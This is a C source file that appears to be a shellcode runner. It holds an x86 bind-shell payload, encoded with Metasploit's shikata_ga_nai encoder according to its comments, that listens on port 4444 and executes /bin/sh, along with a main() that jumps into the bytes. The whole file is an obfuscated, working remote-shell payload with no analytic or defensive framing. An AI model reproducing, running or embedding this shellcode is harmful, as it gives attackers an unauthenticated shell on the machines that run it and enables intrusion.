//bind on :::4444 and execve /bin/sh //encoded with x86/shikata_ga_nai msf char shellcode[] = "\xd9\xc5\xbb\xcf\x37\x7a\xd4\x31\xc9\xd9\x74\x24\xf4\x5a\xb1" "\x17\x83\xea\xfc\x31\x5a\x16\x03\x5a\x16\xe2\x3a\x06\xa1\x87" "\x87\x3a\x3f\x22\x8e\x5c\xd5\x54\xc8\x53\xaa\x0f\x71\x39\xf9" "\x7d\xd3\xec\xaf\xe7\xbb\x01\x0c\x8e\x53\x28\xac\xc7\x42\x46" "\xb0\x86\xd2\x1e\x29\x6b\xb0\x46\xf2\xa1\xc4\x37\x64\x89\xc0" "\xfa\xe9\xbf\x9a\x52\x63\xde\x59\xeb\x15\xec\xdd\x98\x83\x84" "\xe2\xc6\xfe\xd9\x55\x8e\xf8\xb2\x4a\x5f\x8a\x2a\xfc\xb0\x0e" "\xc2\x92\x47\x2d\x44\x39\xd1\x53\xd5\xb6\x2c\x13\x1c"; main() { int (*f)() = (int (*)())shellcode; f(); }